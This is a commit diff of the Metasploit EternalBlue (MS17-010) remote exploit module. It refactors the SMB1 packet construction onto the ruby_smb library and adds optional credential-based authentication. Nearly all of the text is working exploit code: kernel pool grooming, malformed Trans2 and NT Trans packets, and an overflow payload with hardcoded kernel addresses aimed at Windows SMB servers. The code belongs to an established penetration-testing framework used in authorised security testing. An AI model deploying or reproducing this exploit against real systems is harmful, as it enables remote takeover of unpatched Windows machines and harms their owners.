Land #8488, Leverage ruby_smb and add authenticated smb session
commit
6161fbacb0
|
@ -328,7 +328,7 @@ GEM
|
|||
rspec-mocks (~> 3.6.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-support (3.6.0)
|
||||
ruby_smb (0.0.17)
|
||||
ruby_smb (0.0.18)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
|
||||
require 'ruby_smb'
|
||||
require 'ruby_smb/smb1/packet'
|
||||
require 'windows_error'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
@ -27,13 +28,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
This exploit, like the original may not trigger 100% of the time, and should be
|
||||
run continuously until triggered. It seems like the pool will get hot streaks
|
||||
and need a cool down period before the shells rain in again.
|
||||
|
||||
The module will attempt to use Anonymous login, by default, to authenticate to perform the
|
||||
exploit. If the user supplies credentials in the SMBUser,SMBPass, and SMBDomain options it will use
|
||||
those instead.
|
||||
},
|
||||
|
||||
'Author' => [
|
||||
'Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0
|
||||
'Dylan Davis <dylan.davis@risksense.com>', # @jennamagius
|
||||
'Equation Group',
|
||||
'Shadow Brokers'
|
||||
'Shadow Brokers',
|
||||
'thelightcosine' # RubySMB refactor and Fallback Credential mode
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
@ -85,7 +91,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
OptInt.new( 'GroomAllocations', [ true, "Initial number of times to groom the kernel pool.", 12 ] ),
|
||||
OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] ),
|
||||
OptBool.new( 'VerifyTarget', [ true, "Check if remote OS matches exploit Target.", true ] ),
|
||||
OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] )
|
||||
OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] ),
|
||||
OptString.new('SMBUser', [ false, '(Optional) The username to authenticate as', '']),
|
||||
OptString.new('SMBPass', [ false, '(Optional) The password for the specified username', '']),
|
||||
OptString.new('SMBDomain', [ false, '(Optional) The Windows domain to use for authentication', '.']),
|
||||
])
|
||||
end
|
||||
|
||||
|
@ -153,11 +162,22 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
client, tree, sock, os = smb1_anonymous_connect_ipc()
|
||||
print_good("Connection established for exploitation.")
|
||||
|
||||
if !verify_target(os)
|
||||
if verify_target(os)
|
||||
print_good('Target OS selected valid for OS indicated by SMB reply')
|
||||
else
|
||||
print_warning('Target OS selected not valid for OS indicated by SMB reply')
|
||||
print_warning('Disable VerifyTarget option to proceed manually...')
|
||||
raise EternalBlueError, 'Unable to continue with improper OS Target.'
|
||||
end
|
||||
|
||||
if !verify_arch
|
||||
# cool buffer print no matter what, will be helpful when people post debug issues
|
||||
print_core_buffer(os)
|
||||
|
||||
if verify_arch
|
||||
print_good('Target arch selected valid for arch indicated by DCE/RPC reply')
|
||||
else
|
||||
print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')
|
||||
print_warning('Disable VerifyArch option to proceed manually...')
|
||||
raise EternalBlueError, 'Unable to continue with improper OS Arch.'
|
||||
end
|
||||
|
||||
|
@ -234,18 +254,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
break
|
||||
end
|
||||
end
|
||||
|
||||
if ret
|
||||
print_good('Target OS selected valid for OS indicated by SMB reply')
|
||||
else
|
||||
print_warning('Target OS selected not valid for OS indicated by SMB reply')
|
||||
print_warning('Disable VerifyTarget option to proceed manually...')
|
||||
end
|
||||
end
|
||||
|
||||
# cool buffer print no matter what, will be helpful when people post debug issues
|
||||
print_core_buffer(os)
|
||||
|
||||
return ret
|
||||
end
|
||||
|
||||
|
@ -263,10 +273,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'71710533-beba-4937-8319-b5dbef9ccc36', '1.0'
|
||||
).first
|
||||
|
||||
sock = connect(false,
|
||||
'RHOST' => rhost,
|
||||
'RPORT' => 135
|
||||
)
|
||||
begin
|
||||
sock = connect(false,
|
||||
'RHOST' => rhost,
|
||||
'RPORT' => 135
|
||||
)
|
||||
rescue Rex::ConnectionError => e
|
||||
print_error(e.to_s)
|
||||
return false
|
||||
end
|
||||
|
||||
sock.put(pkt)
|
||||
|
||||
|
@ -300,13 +315,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
if ret
|
||||
print_good('Target arch selected valid for OS indicated by DCE/RPC reply')
|
||||
else
|
||||
print_warning('Target arch selected not valid for OS indicated by DCE/RPC reply')
|
||||
print_warning('Disable VerifyArch option to proceed manually...')
|
||||
end
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
|
@ -341,33 +349,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def smb1_anonymous_connect_ipc()
|
||||
def smb1_anonymous_connect_ipc
|
||||
sock = connect(false)
|
||||
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
|
||||
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')
|
||||
client.negotiate
|
||||
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
|
||||
response_code = client.login
|
||||
|
||||
pkt = make_smb1_anonymous_login_packet
|
||||
sock.put(pkt)
|
||||
|
||||
code, raw, response = smb1_get_response(sock)
|
||||
|
||||
if code.nil?
|
||||
raise RubySMB::Error::UnexpectedStatusCode, "No response to login request"
|
||||
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
|
||||
raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code.to_s}"
|
||||
end
|
||||
|
||||
unless code == 0 # WindowsError::NTStatus::STATUS_SUCCESS
|
||||
raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login"
|
||||
end
|
||||
|
||||
client.user_id = response.uid
|
||||
|
||||
|
||||
# todo: RubySMB throwing exceptions
|
||||
# sess = RubySMB::SMB1::Packet::SessionSetupResponse.new(raw)
|
||||
os = raw.split("\x00\x00")[-2]
|
||||
# todo: rubysmb should set this automatically?
|
||||
#client.peer_native_os = os
|
||||
os = client.peer_native_os
|
||||
|
||||
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
|
||||
|
@ -379,11 +370,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
# send NT Trans
|
||||
vprint_status("Sending NT Trans Request packet")
|
||||
sock.put(nt_trans_pkt)
|
||||
|
||||
vprint_status("Receiving NT Trans packet")
|
||||
raw = sock.get_once
|
||||
|
||||
client.send_recv(nt_trans_pkt)
|
||||
# Initial Trans2 request
|
||||
trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)
|
||||
|
||||
|
@ -392,18 +380,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
|
||||
end
|
||||
|
||||
trans2_pkt_nulled << make_smb1_echo_packet(tree.id, client.user_id)
|
||||
|
||||
vprint_status("Sending malformed Trans2 packets")
|
||||
sock.put(trans2_pkt_nulled)
|
||||
|
||||
sock.get_once
|
||||
|
||||
client.echo(count:1, data: "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00")
|
||||
end
|
||||
|
||||
def smb1_free_hole(start)
|
||||
sock = connect(false)
|
||||
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
|
||||
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')
|
||||
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
|
||||
client.negotiate
|
||||
|
||||
pkt = ""
|
||||
|
@ -416,13 +404,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")
|
||||
end
|
||||
|
||||
#dump_packet(pkt)
|
||||
sock.put(pkt)
|
||||
|
||||
vprint_status("Receiving free hole response.")
|
||||
sock.get_once
|
||||
|
||||
return sock
|
||||
client.send_recv(pkt)
|
||||
sock
|
||||
end
|
||||
|
||||
def smb1_get_response(sock)
|
||||
|
@ -492,263 +475,125 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
pkt
|
||||
end
|
||||
|
||||
def make_smb1_echo_packet(tree_id, user_id)
|
||||
pkt = ""
|
||||
pkt << "\x00" # type
|
||||
pkt << "\x00\x00\x31" # len = 49
|
||||
pkt << "\xffSMB" # SMB1
|
||||
pkt << "\x2b" # Echo
|
||||
pkt << "\x00\x00\x00\x00" # Success
|
||||
pkt << "\x18" # flags
|
||||
pkt << "\x07\xc0" # flags2
|
||||
pkt << "\x00\x00" # PID High
|
||||
pkt << "\x00\x00\x00\x00" # Signature1
|
||||
pkt << "\x00\x00\x00\x00" # Signature2
|
||||
pkt << "\x00\x00" # Reserved
|
||||
pkt << [tree_id].pack("S>") # Tree ID
|
||||
pkt << "\xff\xfe" # PID
|
||||
pkt << [user_id].pack("S>") # UserID
|
||||
pkt << "\x40\x00" # MultiplexIDs
|
||||
|
||||
pkt << "\x01" # Word count
|
||||
pkt << "\x01\x00" # Echo count
|
||||
pkt << "\x0c\x00" # Byte count
|
||||
|
||||
# echo data
|
||||
# this is an existing IDS signature, and can be nulled out
|
||||
#pkt << "\x4a\x6c\x4a\x6d\x49\x68\x43\x6c\x42\x73\x72\x00"
|
||||
pkt << "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00"
|
||||
|
||||
pkt
|
||||
end
|
||||
|
||||
# Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
|
||||
def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
|
||||
timeout = (timeout * 0x10) + 3
|
||||
timeout_value = "\x35\x00\xd0" + timeout.chr
|
||||
|
||||
pkt = ""
|
||||
pkt << "\x00" # Session message
|
||||
pkt << "\x00\x10\x35" # length
|
||||
pkt << "\xffSMB" # SMB1
|
||||
pkt << "\x33" # Trans2 request
|
||||
pkt << "\x00\x00\x00\x00" # NT SUCCESS
|
||||
pkt << "\x18" # Flags
|
||||
pkt << "\x07\xc0" # Flags2
|
||||
pkt << "\x00\x00" # PID High
|
||||
pkt << "\x00\x00\x00\x00" # Signature1
|
||||
pkt << "\x00\x00\x00\x00" # Signature2
|
||||
pkt << "\x00\x00" # Reserved
|
||||
pkt << [tree_id].pack("S>") # TreeID
|
||||
pkt << "\xff\xfe" # PID
|
||||
pkt << [user_id].pack("S>") # UserID
|
||||
pkt << "\x40\x00" # MultiplexIDs
|
||||
packet = RubySMB::SMB1::Packet::Trans2::Request.new
|
||||
packet = set_smb1_headers(packet,tree_id,user_id)
|
||||
|
||||
pkt << "\x09" # Word Count
|
||||
pkt << "\x00\x00" # Total Param Count
|
||||
pkt << "\x00\x10" # Total Data Count
|
||||
pkt << "\x00\x00" # Max Param Count
|
||||
pkt << "\x00\x00" # Max Data Count
|
||||
pkt << "\x00" # Max Setup Count
|
||||
pkt << "\x00" # Reserved
|
||||
pkt << "\x00\x10" # Flags
|
||||
pkt << "\x35\x00\xd0" # Timeouts
|
||||
pkt << timeout.chr
|
||||
pkt << "\x00\x00" # Reserved
|
||||
pkt << "\x00\x10" # Parameter Count
|
||||
# The packets are labeled as Secondary Requests but are actually structured
|
||||
# as normal Trans2 Requests for some reason. We shall similarly cheat here.
|
||||
packet.smb_header.command = RubySMB::SMB1::Commands::SMB_COM_TRANSACTION2_SECONDARY
|
||||
|
||||
#pkt << "\x74\x70" # Parameter Offset
|
||||
#pkt << "\x47\x46" # Data Count
|
||||
#pkt << "\x45\x6f" # Data Offset
|
||||
#pkt << "\x4c" # Setup Count
|
||||
#pkt << "\x4f" # Reserved
|
||||
packet.parameter_block.flags.read("\x00\x10")
|
||||
packet.parameter_block.timeout.read(timeout_value)
|
||||
|
||||
if type == :eb_trans2_exploit
|
||||
vprint_status("Making :eb_trans2_exploit packet")
|
||||
packet.parameter_block.word_count = 9
|
||||
packet.parameter_block.total_data_count = 4096
|
||||
packet.parameter_block.parameter_count = 4096
|
||||
|
||||
pkt << "\x41" * 2957
|
||||
nbss = "\x00\x00\x10\x35"
|
||||
pkt = packet.to_binary_s
|
||||
pkt = pkt[0,packet.parameter_block.parameter_offset.abs_offset]
|
||||
pkt = nbss + pkt
|
||||
|
||||
pkt << "\x80\x00\xa8\x00" # overflow
|
||||
case type
|
||||
when :eb_trans2_exploit
|
||||
vprint_status("Making :eb_trans2_exploit packet")
|
||||
|
||||
pkt << "\x00" * 0x10
|
||||
pkt << "\xff\xff"
|
||||
pkt << "\x00" * 0x6
|
||||
pkt << "\xff\xff"
|
||||
pkt << "\x00" * 0x16
|
||||
pkt << "\x41" * 2957
|
||||
|
||||
pkt << "\x00\xf1\xdf\xff" # x86 addresses
|
||||
pkt << "\x00" * 0x8
|
||||
pkt << "\x20\xf0\xdf\xff"
|
||||
pkt << "\x80\x00\xa8\x00" # overflow
|
||||
|
||||
pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64
|
||||
pkt << "\x00" * 0x10
|
||||
pkt << "\xff\xff"
|
||||
pkt << "\x00" * 0x6
|
||||
pkt << "\xff\xff"
|
||||
pkt << "\x00" * 0x16
|
||||
|
||||
pkt << "\x60\x00\x04\x10"
|
||||
pkt << "\x00" * 4
|
||||
pkt << "\x00\xf1\xdf\xff" # x86 addresses
|
||||
pkt << "\x00" * 0x8
|
||||
pkt << "\x20\xf0\xdf\xff"
|
||||
|
||||
pkt << "\x80\xef\xdf\xff"
|
||||
pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64
|
||||
|
||||
pkt << "\x00" * 4
|
||||
pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
|
||||
pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
|
||||
pkt << "\x00" * 0x10
|
||||
pkt << "\x60\x00\x04\x10"
|
||||
pkt << "\x00" * 4
|
||||
|
||||
pkt << "\x60\x00\x04\x10"
|
||||
pkt << "\x00" * 0xc
|
||||
pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
|
||||
pkt << "\x00" * 0x8
|
||||
pkt << "\x80\x10"
|
||||
pkt << "\x00" * 0xe
|
||||
pkt << "\x39"
|
||||
pkt << "\xbb"
|
||||
pkt << "\x80\xef\xdf\xff"
|
||||
|
||||
pkt << "\x41" * 965
|
||||
pkt << "\x00" * 4
|
||||
pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
|
||||
pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
|
||||
pkt << "\x00" * 0x10
|
||||
|
||||
return pkt
|
||||
pkt << "\x60\x00\x04\x10"
|
||||
pkt << "\x00" * 0xc
|
||||
pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
|
||||
pkt << "\x00" * 0x8
|
||||
pkt << "\x80\x10"
|
||||
pkt << "\x00" * 0xe
|
||||
pkt << "\x39"
|
||||
pkt << "\xbb"
|
||||
|
||||
pkt << "\x41" * 965
|
||||
when :eb_trans2_zero
|
||||
vprint_status("Making :eb_trans2_zero packet")
|
||||
pkt << "\x00" * 2055
|
||||
pkt << "\x83\xf3"
|
||||
pkt << "\x41" * 2039
|
||||
else
|
||||
vprint_status("Making :eb_trans2_buffer packet")
|
||||
pkt << "\x41" * 4096
|
||||
end
|
||||
|
||||
if type == :eb_trans2_zero
|
||||
vprint_status("Making :eb_trans2_zero packet")
|
||||
pkt << "\x00" * 2055
|
||||
pkt << "\x83\xf3"
|
||||
pkt << "\x41" * 2039
|
||||
#pkt << "\x00" * 4096
|
||||
else
|
||||
vprint_status("Making :eb_trans2_buffer packet")
|
||||
pkt << "\x41" * 4096
|
||||
end
|
||||
|
||||
pkt
|
||||
|
||||
end
|
||||
|
||||
def make_smb1_nt_trans_packet(tree_id, user_id)
|
||||
pkt = ""
|
||||
pkt << "\x00" # Session message
|
||||
pkt << "\x00\x04\x38" # length
|
||||
pkt << "\xffSMB" # SMB1
|
||||
pkt << "\xa0" # NT Trans
|
||||
pkt << "\x00\x00\x00\x00" # NT SUCCESS
|
||||
pkt << "\x18" # Flags
|
||||
pkt << "\x07\xc0" # Flags2
|
||||
pkt << "\x00\x00" # PID High
|
||||
pkt << "\x00\x00\x00\x00" # Signature1
|
||||
pkt << "\x00\x00\x00\x00" # Signature2
|
||||
pkt << "\x00\x00" # Reserved
|
||||
pkt << [tree_id].pack("S>") # TreeID
|
||||
pkt << "\xff\xfe" # PID
|
||||
pkt << [user_id].pack("S>") # UserID
|
||||
pkt << "\x40\x00" # MultiplexID
|
||||
packet = RubySMB::SMB1::Packet::NtTrans::Request.new
|
||||
|
||||
pkt << "\x14" # Word Count
|
||||
pkt << "\x01" # Max Setup Count
|
||||
pkt << "\x00\x00" # Reserved
|
||||
pkt << "\x1e\x00\x00\x00" # Total Param Count
|
||||
pkt << "\xd0\x03\x01\x00" # Total Data Count
|
||||
pkt << "\x1e\x00\x00\x00" # Max Param Count
|
||||
pkt << "\x00\x00\x00\x00" # Max Data Count
|
||||
pkt << "\x1e\x00\x00\x00" # Param Count
|
||||
pkt << "\x4b\x00\x00\x00" # Param Offset
|
||||
pkt << "\xd0\x03\x00\x00" # Data Count
|
||||
pkt << "\x68\x00\x00\x00" # Data Offset
|
||||
pkt << "\x01" # Setup Count
|
||||
pkt << "\x00\x00" # Function <unknown>
|
||||
pkt << "\x00\x00" # Unknown NT transaction (0) setup
|
||||
pkt << "\xec\x03" # Byte Count
|
||||
pkt << "\x00" * 0x1f # NT Parameters
|
||||
# Disable the automatic padding because it will distort
|
||||
# our values here.
|
||||
packet.data_block.enable_padding = false
|
||||
|
||||
# undocumented
|
||||
pkt << "\x01"
|
||||
pkt << "\x00" * 0x3cd
|
||||
packet = set_smb1_headers(packet,tree_id,user_id)
|
||||
|
||||
pkt
|
||||
packet.parameter_block.max_setup_count = 1
|
||||
packet.parameter_block.total_parameter_count = 30
|
||||
packet.parameter_block.total_data_count = 66512
|
||||
packet.parameter_block.max_parameter_count = 30
|
||||
packet.parameter_block.max_data_count = 0
|
||||
packet.parameter_block.parameter_count = 30
|
||||
packet.parameter_block.parameter_offset = 75
|
||||
packet.parameter_block.data_count = 976
|
||||
packet.parameter_block.data_offset = 104
|
||||
packet.parameter_block.function = 0
|
||||
|
||||
packet.parameter_block.setup << 0x0000
|
||||
|
||||
packet.data_block.byte_count = 1004
|
||||
packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ( "\x00" * 973 )
|
||||
packet
|
||||
end
|
||||
|
||||
def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
|
||||
pkt = ""
|
||||
pkt << "\x00" # Session message
|
||||
pkt << "\x00\x00\x51" # length
|
||||
pkt << "\xffSMB" # SMB1
|
||||
pkt << "\x73" # Session Setup AndX
|
||||
pkt << "\x00\x00\x00\x00" # NT SUCCESS
|
||||
pkt << "\x18" # Flags
|
||||
pkt << flags2 # Flags2
|
||||
pkt << "\x00\x00" # PID High
|
||||
pkt << "\x00\x00\x00\x00" # Signature1
|
||||
pkt << "\x00\x00\x00\x00" # Signature2
|
||||
pkt << "\x00\x00" # Reserved
|
||||
pkt << "\x00\x00" # TreeID
|
||||
pkt << "\xff\xfe" # PID
|
||||
pkt << "\x00\x00" # UserID
|
||||
pkt << "\x40\x00" # MultiplexID
|
||||
#pkt << "\x00\x00" # Reserved
|
||||
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
|
||||
|
||||
pkt << "\x0c" # Word Count
|
||||
pkt << "\xff" # No further commands
|
||||
pkt << "\x00" # Reserved
|
||||
pkt << "\x00\x00" # AndXOffset
|
||||
pkt << "\x04\x11" # Max Buffer
|
||||
pkt << "\x0a\x00" # Max Mpx Count
|
||||
pkt << vcnum # VC Number
|
||||
pkt << "\x00\x00\x00\x00" # Session key
|
||||
pkt << "\x00\x00" # Security blob length
|
||||
pkt << "\x00\x00\x00\x00" # Reserved
|
||||
pkt << "\x00\x00\x00\x80" # Capabilities
|
||||
pkt << "\x16\x00" # Byte count
|
||||
#pkt << "\xf0" # Security Blob: <MISSING>
|
||||
#pkt << "\xff\x00\x00\x00" # Native OS
|
||||
#pkt << "\x00\x00" # Native LAN manager
|
||||
#pkt << "\x00\x00" # Primary domain
|
||||
pkt << native_os
|
||||
pkt << "\x00" * 17 # Extra byte params
|
||||
packet.smb_header.flags.read("\x18")
|
||||
packet.smb_header.flags2.read(flags2)
|
||||
packet.smb_header.pid_high = 65279
|
||||
packet.smb_header.mid = 64
|
||||
|
||||
pkt
|
||||
end
|
||||
packet.parameter_block.vc_number.read(vcnum)
|
||||
packet.parameter_block.max_buffer_size = 4356
|
||||
packet.parameter_block.max_mpx_count = 10
|
||||
packet.parameter_block.security_blob_length = 0
|
||||
|
||||
def make_smb1_anonymous_login_packet
|
||||
# Neither Rex nor RubySMB appear to support Anon login?
|
||||
pkt = ""
|
||||
pkt << "\x00" # Session message
|
||||
pkt << "\x00\x00\x88" # length
|
||||
pkt << "\xffSMB" # SMB1
|
||||
pkt << "\x73" # Session Setup AndX
|
||||
pkt << "\x00\x00\x00\x00" # NT SUCCESS
|
||||
pkt << "\x18" # Flags
|
||||
pkt << "\x07\xc0" # Flags2
|
||||
pkt << "\x00\x00" # PID High
|
||||
pkt << "\x00\x00\x00\x00" # Signature1
|
||||
pkt << "\x00\x00\x00\x00" # Signature2
|
||||
pkt << "\x00\x00" # TreeID
|
||||
pkt << "\xff\xfe" # PID
|
||||
pkt << "\x00\x00" # Reserved
|
||||
pkt << "\x00\x00" # UserID
|
||||
pkt << "\x40\x00" # MultiplexID
|
||||
|
||||
pkt << "\x0d" # Word Count
|
||||
pkt << "\xff" # No further commands
|
||||
pkt << "\x00" # Reserved
|
||||
pkt << "\x88\x00" # AndXOffset
|
||||
pkt << "\x04\x11" # Max Buffer
|
||||
pkt << "\x0a\x00" # Max Mpx Count
|
||||
pkt << "\x00\x00" # VC Number
|
||||
pkt << "\x00\x00\x00\x00" # Session key
|
||||
pkt << "\x01\x00" # ANSI pw length
|
||||
pkt << "\x00\x00" # Unicode pw length
|
||||
pkt << "\x00\x00\x00\x00" # Reserved
|
||||
pkt << "\xd4\x00\x00\x00" # Capabilities
|
||||
pkt << "\x4b\x00" # Byte count
|
||||
pkt << "\x00" # ANSI pw
|
||||
pkt << "\x00\x00" # Account name
|
||||
pkt << "\x00\x00" # Domain name
|
||||
|
||||
# Windows 2000 2195
|
||||
pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
|
||||
pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00"
|
||||
pkt << "\x00\x00"
|
||||
|
||||
# Windows 2000 5.0
|
||||
pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
|
||||
pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2e\x00\x30\x00\x00\x00"
|
||||
|
||||
pkt
|
||||
packet.data_block.native_os = native_os
|
||||
packet.data_block.native_lan_man = "\x00" * 17
|
||||
packet
|
||||
end
|
||||
|
||||
# ring3 = user mode encoded payload
|
||||
|
@ -836,4 +681,46 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
end
|
||||
|
||||
# Sets common SMB1 Header values used by the various
|
||||
# packets in the exploit.
|
||||
#
|
||||
# @rturn [RubySMB::GenericPacket] the modified version of the packet
|
||||
def set_smb1_headers(packet,tree_id,user_id)
|
||||
packet.smb_header.flags2.read("\x07\xc0")
|
||||
packet.smb_header.tid = tree_id
|
||||
packet.smb_header.uid = user_id
|
||||
packet.smb_header.pid_low = 65279
|
||||
packet.smb_header.mid = 64
|
||||
packet
|
||||
end
|
||||
|
||||
|
||||
# Returns the value to be passed to SMB clients for
|
||||
# the password. If the user hs not supplied a password
|
||||
# it returns an empty string to trigger an anonymous
|
||||
# logon.
|
||||
#
|
||||
# @return [String] the password value
|
||||
def smb_pass
|
||||
if datastore['SMBPass'].present?
|
||||
datastore['SMBPass']
|
||||
else
|
||||
''
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the value to be passed to SMB clients for
|
||||
# the username. If the user hs not supplied a username
|
||||
# it returns an empty string to trigger an anonymous
|
||||
# logon.
|
||||
#
|
||||
# @return [String] the username value
|
||||
def smb_user
|
||||
if datastore['SMBUser'].present?
|
||||
datastore['SMBUser']
|
||||
else
|
||||
''
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue